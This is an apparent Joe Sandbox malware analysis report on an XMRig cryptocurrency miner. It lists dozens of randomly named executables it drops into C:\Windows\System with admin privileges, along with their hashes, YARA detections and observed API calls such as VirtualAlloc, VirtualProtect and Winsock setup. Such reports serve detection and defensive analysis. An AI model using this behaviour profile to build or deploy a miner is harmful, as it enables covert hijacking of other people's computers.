File size:	1'264'249 bytes
MD5 hash:	EB0573C66003AD9ACDD2C870DCD09133
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000A.00000002.1363778887.00007FF748321000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:49:52
Start date:	30/09/2024
Path:	C:\Windows\System\wJNkgSa.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\wJNkgSa.exe
Imagebase:	0x7ff700a70000
File size:	1'264'502 bytes
MD5 hash:	43D864C13E52C94C25181867905771B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000B.00000002.1366848753.00007FF700A71000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:49:52
Start date:	30/09/2024
Path:	C:\Windows\System\imwRXsl.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\imwRXsl.exe
Imagebase:	0x7ff74df50000
File size:	1'264'755 bytes
MD5 hash:	AE9A41D4E0263366912DD3819E26552C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000C.00000002.1373040235.00007FF74DF51000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:49:52
Start date:	30/09/2024
Path:	C:\Windows\System\bzSbRdi.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\bzSbRdi.exe
Imagebase:	0x7ff7777f0000
File size:	1'265'008 bytes
MD5 hash:	8C45A23D5D5B518604A5B2FD0406DED9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000D.00000002.1374444194.00007FF7777F1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:49:53
Start date:	30/09/2024
Path:	C:\Windows\System\Csmwgyb.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\Csmwgyb.exe
Imagebase:	0x7ff7b8680000
File size:	1'265'261 bytes
MD5 hash:	BC9CA3D0B7143502231E1D019356F41A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000E.00000002.1375621013.00007FF7B8681000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	09:49:53
Start date:	30/09/2024
Path:	C:\Windows\System\defQfgC.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\defQfgC.exe
Imagebase:	0x7ff6888b0000
File size:	1'265'514 bytes
MD5 hash:	7BEEEE9DA27322E67D35F1D537993C24
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000F.00000002.1376866872.00007FF6888B1000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	09:49:53
Start date:	30/09/2024
Path:	C:\Windows\System\XZxtJFw.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\XZxtJFw.exe
Imagebase:	0x7ff7a5920000
File size:	1'265'767 bytes
MD5 hash:	BFA9D779131DA16A1A7C4196F82AA1BC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000002.1377736700.00007FF7A5921000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	09:49:53
Start date:	30/09/2024
Path:	C:\Windows\System\MwFvbxc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\MwFvbxc.exe
Imagebase:	0x7ff7dc870000
File size:	1'266'020 bytes
MD5 hash:	965716B9337F422A2F6152CBB96308D7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000011.00000002.1378491789.00007FF7DC871000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	09:49:53
Start date:	30/09/2024
Path:	C:\Windows\System\hAOVVjq.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\hAOVVjq.exe
Imagebase:	0x7ff77b680000
File size:	1'266'273 bytes
MD5 hash:	2C095A204073412D9C45F3AD251BEF8D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000012.00000002.1379197063.00007FF77B681000.00000040.00000001.01000000.00000012.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	09:49:53
Start date:	30/09/2024
Path:	C:\Windows\System\oxCQuSo.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\oxCQuSo.exe
Imagebase:	0x7ff6c9f90000
File size:	1'266'526 bytes
MD5 hash:	99FECFBC9BBE117BE95B39527A48C584
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000013.00000002.1380830249.00007FF6C9F91000.00000040.00000001.01000000.00000013.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	09:49:53
Start date:	30/09/2024
Path:	C:\Windows\System\vyHGCnK.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\vyHGCnK.exe
Imagebase:	0x7ff6acaf0000
File size:	1'266'779 bytes
MD5 hash:	3BD024011B845F32C77BB328BB41A90A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000014.00000002.1381442489.00007FF6ACAF1000.00000040.00000001.01000000.00000014.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	09:49:54
Start date:	30/09/2024
Path:	C:\Windows\System\mbSqRHL.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\mbSqRHL.exe
Imagebase:	0x7ff62c3e0000
File size:	1'267'032 bytes
MD5 hash:	FBAA44DA14D45C494F133F4E439EE297
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000015.00000002.1382318435.00007FF62C3E1000.00000040.00000001.01000000.00000015.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	09:49:54
Start date:	30/09/2024
Path:	C:\Windows\System\VFkciqc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\VFkciqc.exe
Imagebase:	0x7ff602990000
File size:	1'267'285 bytes
MD5 hash:	472AAC64C702B4254A4FD44C4B1E8B6B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000016.00000002.1383583176.00007FF602991000.00000040.00000001.01000000.00000016.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	09:49:54
Start date:	30/09/2024
Path:	C:\Windows\System\sdTevgk.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\sdTevgk.exe
Imagebase:	0x7ff601280000
File size:	1'267'538 bytes
MD5 hash:	D9FEA9478CF8E2E8B2127AC7F8F3CBFF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000017.00000002.1384505778.00007FF601281000.00000040.00000001.01000000.00000017.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	09:49:54
Start date:	30/09/2024
Path:	C:\Windows\System\eVVPPqR.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\eVVPPqR.exe
Imagebase:	0x7ff6e04e0000
File size:	1'267'791 bytes
MD5 hash:	E8B03F7DF054973E2EF91EC5AB766D05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000002.1385524896.00007FF6E04E1000.00000040.00000001.01000000.00000018.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	09:49:54
Start date:	30/09/2024
Path:	C:\Windows\System\VHwkuIa.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\VHwkuIa.exe
Imagebase:	0x7ff781ee0000
File size:	1'268'044 bytes
MD5 hash:	B6D170F5AE5F3159D9390C315530CB9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000019.00000002.1386016707.00007FF781EE1000.00000040.00000001.01000000.00000019.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	09:49:54
Start date:	30/09/2024
Path:	C:\Windows\System\WLWcTVM.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\WLWcTVM.exe
Imagebase:	0x7ff7b4ee0000
File size:	1'268'297 bytes
MD5 hash:	23B79B834EA47B32F075DA549DA83A19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001A.00000002.1387139413.00007FF6A8DB1000.00000040.00000001.01000000.0000001A.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	09:49:54
Start date:	30/09/2024
Path:	C:\Windows\System\WCbcoxD.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\WCbcoxD.exe
Imagebase:	0x7ff7b66f0000
File size:	1'268'550 bytes
MD5 hash:	5D6BBA924CD8F074439F0C0908FFD307
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000002.1388071664.00007FF7B66F1000.00000040.00000001.01000000.0000001B.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	09:49:54
Start date:	30/09/2024
Path:	C:\Windows\System\QWtCxan.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\QWtCxan.exe
Imagebase:	0x7ff670a00000
File size:	1'268'803 bytes
MD5 hash:	A018243D3E0CEA6622D99326C22ECA73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001C.00000002.1388918384.00007FF670A01000.00000040.00000001.01000000.0000001C.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	09:49:54
Start date:	30/09/2024
Path:	C:\Windows\System\fpHmIIc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\fpHmIIc.exe
Imagebase:	0x7ff6377f0000
File size:	1'269'056 bytes
MD5 hash:	6D622A4BDBDE6EE17C48CE702C5D6275
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001D.00000002.1389418471.00007FF6377F1000.00000040.00000001.01000000.0000001D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	09:49:54
Start date:	30/09/2024
Path:	C:\Windows\System\FGSooXz.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\FGSooXz.exe
Imagebase:	0x7ff654030000
File size:	1'269'309 bytes
MD5 hash:	491D2DFE1272615BC2589D4FA72220DC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001E.00000002.1390519266.00007FF654031000.00000040.00000001.01000000.0000001E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	09:49:54
Start date:	30/09/2024
Path:	C:\Windows\System\mKdsHiQ.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\mKdsHiQ.exe
Imagebase:	0x7ff757760000
File size:	1'269'562 bytes
MD5 hash:	16B36485738F9F0D61279925EF424BF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000002.1391201441.00007FF757761000.00000040.00000001.01000000.0000001F.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	09:49:54
Start date:	30/09/2024
Path:	C:\Windows\System\nWSykjl.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\nWSykjl.exe
Imagebase:	0x7ff77c770000
File size:	1'269'815 bytes
MD5 hash:	CA5C9DD07F94867C833B46D4FB92B257
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000020.00000002.1392692376.00007FF77C771000.00000040.00000001.01000000.00000020.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	09:49:55
Start date:	30/09/2024
Path:	C:\Windows\System\LKurWpq.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\LKurWpq.exe
Imagebase:	0x7ff650b90000
File size:	1'270'068 bytes
MD5 hash:	7C91A9AC17F6A3A0282289776B7B401B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000021.00000002.1393351386.00007FF650B91000.00000040.00000001.01000000.00000021.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	09:49:55
Start date:	30/09/2024
Path:	C:\Windows\System\iHSYLud.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\iHSYLud.exe
Imagebase:	0x7ff7683d0000
File size:	1'270'321 bytes
MD5 hash:	15E19FE4D8E3C1148119A90F8028914A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000022.00000002.1398506393.00007FF7683D1000.00000040.00000001.01000000.00000022.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	09:49:55
Start date:	30/09/2024
Path:	C:\Windows\System\tyQdqmC.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\tyQdqmC.exe
Imagebase:	0x7ff60fc20000
File size:	1'270'574 bytes
MD5 hash:	7370A4E709912C9C8D152FEFD7CF4342
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000002.1399335792.00007FF60FC21000.00000040.00000001.01000000.00000023.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	09:49:55
Start date:	30/09/2024
Path:	C:\Windows\System\sabRErB.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\sabRErB.exe
Imagebase:	0x7ff795f20000
File size:	1'270'827 bytes
MD5 hash:	1F76DBCCDE89B182FB688A59BBDC4A5F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000024.00000002.1400851952.00007FF795F21000.00000040.00000001.01000000.00000024.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	09:49:55
Start date:	30/09/2024
Path:	C:\Windows\System\ZTSJHKb.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\ZTSJHKb.exe
Imagebase:	0x7ff725c00000
File size:	1'271'080 bytes
MD5 hash:	A9601D3425E381ABD2AFFB16EF43E76B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000025.00000002.1401830291.00007FF725C01000.00000040.00000001.01000000.00000025.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	09:49:56
Start date:	30/09/2024
Path:	C:\Windows\System\xNhRSWh.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\xNhRSWh.exe
Imagebase:	0x7ff699c10000
File size:	1'271'333 bytes
MD5 hash:	036653F8DBB022BA9B8937030290846A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000026.00000002.1402766893.00007FF699C11000.00000040.00000001.01000000.00000026.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	09:49:56
Start date:	30/09/2024
Path:	C:\Windows\System\jtnQpnb.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\jtnQpnb.exe
Imagebase:	0x7ff7a86e0000
File size:	1'271'586 bytes
MD5 hash:	54C7BD114F02FACA659AA2C1544FD556
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000027.00000002.1403370784.00007FF7A86E1000.00000040.00000001.01000000.00000027.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	09:49:56
Start date:	30/09/2024
Path:	C:\Windows\System\hEUEsIC.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\hEUEsIC.exe
Imagebase:	0x7ff61c860000
File size:	1'271'839 bytes
MD5 hash:	5B47CEA345164BC6778D4F955BD1516B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000028.00000002.1404441992.00007FF61C861000.00000040.00000001.01000000.00000028.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	09:49:56
Start date:	30/09/2024
Path:	C:\Windows\System\UqXZtcb.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System\UqXZtcb.exe
Imagebase:	0x7ff7bbf70000
File size:	1'272'092 bytes
MD5 hash:	90727A2EC7516FB032361B43AC6C7081
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000029.00000002.1405348535.00007FF7BBF71000.00000040.00000001.01000000.00000029.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.8%
Total number of Nodes:	51
Total number of Limit Nodes:	0

Executed Functions

Function 00007FF6667F1210 Relevance: 5.0, APIs: 3, Instructions: 450
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 00007FF6668FD922
VirtualProtect.KERNEL32 ref: 00007FF6668FDB35
FlushInstructionCache.KERNEL32 ref: 00007FF6668FDB4D

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: Virtual$AllocCacheFlushInstructionProtect
String ID:
API String ID: 4198816981-0
Opcode ID: d739a6146d4ddab82d0a615995626d41eaf0f235b777e9c4bc1be0c03a7b04c1
Instruction ID: f195ce69f26fb8e1f53460586c67bcd5bf14f185921ebafcae8b594367b30967
Opcode Fuzzy Hash: d739a6146d4ddab82d0a615995626d41eaf0f235b777e9c4bc1be0c03a7b04c1
Instruction Fuzzy Hash: 3C622334A1AF07D4E7418B11F8901A633B8BF19744F90063AC96D9E735EFBEA165CB90

Non-executed Functions

Function 00007FF66685EBF0 Relevance: 77.1, APIs: 26, Strings: 18, Instructions: 140
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF66685EBFD
GetProcAddress.KERNEL32 ref: 00007FF66685EC19
GetProcAddress.KERNEL32 ref: 00007FF66685EC29
GetProcAddress.KERNEL32 ref: 00007FF66685EC49
GetProcAddress.KERNEL32 ref: 00007FF66685EC69
GetProcAddress.KERNEL32 ref: 00007FF66685EC89
GetProcAddress.KERNEL32 ref: 00007FF66685ECA9
GetProcAddress.KERNEL32 ref: 00007FF66685ECC9
GetProcAddress.KERNEL32 ref: 00007FF66685ECEE
GetProcAddress.KERNEL32 ref: 00007FF66685ED0E
GetModuleHandleA.KERNEL32 ref: 00007FF66685ED2B
GetProcAddress.KERNEL32 ref: 00007FF66685ED44
LoadLibraryA.KERNEL32 ref: 00007FF66685ED58
GetProcAddress.KERNEL32 ref: 00007FF66685ED6D
LoadLibraryA.KERNEL32 ref: 00007FF66685ED81
GetProcAddress.KERNEL32 ref: 00007FF66685ED96
GetLastError.KERNEL32 ref: 00007FF66685EDA9
GetLastError.KERNEL32 ref: 00007FF66685EDBE
GetLastError.KERNEL32 ref: 00007FF66685EDD3
GetLastError.KERNEL32 ref: 00007FF66685EDE8
GetLastError.KERNEL32 ref: 00007FF66685EDFD
GetLastError.KERNEL32 ref: 00007FF66685EE12
GetLastError.KERNEL32 ref: 00007FF66685EE27
GetLastError.KERNEL32 ref: 00007FF66685EE3C
GetLastError.KERNEL32 ref: 00007FF66685EE51
GetLastError.KERNEL32 ref: 00007FF66685EE66

Strings

SetWinEventHook, xrefs: 00007FF66685ED8C
RtlNtStatusToDosError, xrefs: 00007FF66685EC1F
NtQueryInformationProcess, xrefs: 00007FF66685ED04
kernel32.dll, xrefs: 00007FF66685ED24
NtDeviceIoControlFile, xrefs: 00007FF66685EC3F
user32.dll, xrefs: 00007FF66685ED7A
NtQueryVolumeInformationFile, xrefs: 00007FF66685EC9F
GetQueuedCompletionStatusEx, xrefs: 00007FF66685ED3A
NtQuerySystemInformation, xrefs: 00007FF66685ECE4
NtQueryInformationFile, xrefs: 00007FF66685EC5F
GetProcAddress, xrefs: 00007FF66685EDC6, 00007FF66685EDDB, 00007FF66685EDF0, 00007FF66685EE05, 00007FF66685EE1A, 00007FF66685EE2F, 00007FF66685EE44, 00007FF66685EE59
PowerRegisterSuspendResumeNotification, xrefs: 00007FF66685ED63
powrprof.dll, xrefs: 00007FF66685ED4A
GetModuleHandleA, xrefs: 00007FF66685EDB1, 00007FF66685EE6E
NtSetInformationFile, xrefs: 00007FF66685EC7F
RtlGetVersion, xrefs: 00007FF66685EC0F
ntdll.dll, xrefs: 00007FF66685EBF6
NtQueryDirectoryFile, xrefs: 00007FF66685ECBF

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorLast$HandleLibraryLoadModule
String ID: GetModuleHandleA$GetProcAddress$GetQueuedCompletionStatusEx$NtDeviceIoControlFile$NtQueryDirectoryFile$NtQueryInformationFile$NtQueryInformationProcess$NtQuerySystemInformation$NtQueryVolumeInformationFile$NtSetInformationFile$PowerRegisterSuspendResumeNotification$RtlGetVersion$RtlNtStatusToDosError$SetWinEventHook$kernel32.dll$ntdll.dll$powrprof.dll$user32.dll
API String ID: 988530940-437142567
Opcode ID: d1498f9c3e1b7ebe36fd2166379144db41aca2fbabaa157074bcd052970b372c
Instruction ID: 822199ff53e3aa90d8ee7323b272034fbbdf50ed311c589c4bd0ffc758c8444d
Opcode Fuzzy Hash: d1498f9c3e1b7ebe36fd2166379144db41aca2fbabaa157074bcd052970b372c
Instruction Fuzzy Hash: 8061EE64A1DB03C1FA459B24FC5817423B6AF78B41F445639CC0ECE262EE7EB5588F90

Function 00007FF66685B760 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 168
filesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEventA.KERNEL32 ref: 00007FF66685B788
SetErrorMode.KERNEL32 ref: 00007FF66685B7BB
RtlInitializeCriticalSection.NTDLL ref: 00007FF66685B7D4

Part of subcall function 00007FF66685EBF0: GetModuleHandleA.KERNEL32 ref: 00007FF66685EBFD
Part of subcall function 00007FF66685EBF0: GetProcAddress.KERNEL32 ref: 00007FF66685EC19
Part of subcall function 00007FF66685EBF0: GetProcAddress.KERNEL32 ref: 00007FF66685EC29
Part of subcall function 00007FF66685EBF0: GetProcAddress.KERNEL32 ref: 00007FF66685EC49
Part of subcall function 00007FF66685EBF0: GetProcAddress.KERNEL32 ref: 00007FF66685EC69
Part of subcall function 00007FF66685EBF0: GetProcAddress.KERNEL32 ref: 00007FF66685EC89
Part of subcall function 00007FF66685EBF0: GetProcAddress.KERNEL32 ref: 00007FF66685ECA9
Part of subcall function 00007FF66685EBF0: GetProcAddress.KERNEL32 ref: 00007FF66685ECC9
Part of subcall function 00007FF66685EBF0: GetProcAddress.KERNEL32 ref: 00007FF66685ECEE
Part of subcall function 00007FF66685EBF0: GetProcAddress.KERNEL32 ref: 00007FF66685ED0E
Part of subcall function 00007FF66685EBF0: GetModuleHandleA.KERNEL32 ref: 00007FF66685ED2B
Part of subcall function 00007FF66685EBF0: GetProcAddress.KERNEL32 ref: 00007FF66685ED44
Part of subcall function 00007FF66685EBF0: LoadLibraryA.KERNEL32 ref: 00007FF66685ED58
Part of subcall function 00007FF66685EBF0: GetProcAddress.KERNEL32 ref: 00007FF66685ED6D
Part of subcall function 00007FF66685EBF0: LoadLibraryA.KERNEL32 ref: 00007FF66685ED81
Part of subcall function 00007FF66685EBF0: GetProcAddress.KERNEL32 ref: 00007FF66685ED96

Part of subcall function 00007FF666860660: htons.WS2_32 ref: 00007FF666860693
Part of subcall function 00007FF666860660: GetSystemMetrics.USER32 ref: 00007FF6668606DB
Part of subcall function 00007FF666860660: WSAStartup.WS2_32 ref: 00007FF6668606F7
Part of subcall function 00007FF666860660: socket.WS2_32 ref: 00007FF666860719
Part of subcall function 00007FF666860660: getsockopt.WS2_32 ref: 00007FF66686074D
Part of subcall function 00007FF666860660: closesocket.WS2_32 ref: 00007FF666860776
Part of subcall function 00007FF666860660: socket.WS2_32 ref: 00007FF6668607B7
Part of subcall function 00007FF666860660: getsockopt.WS2_32 ref: 00007FF6668607EB
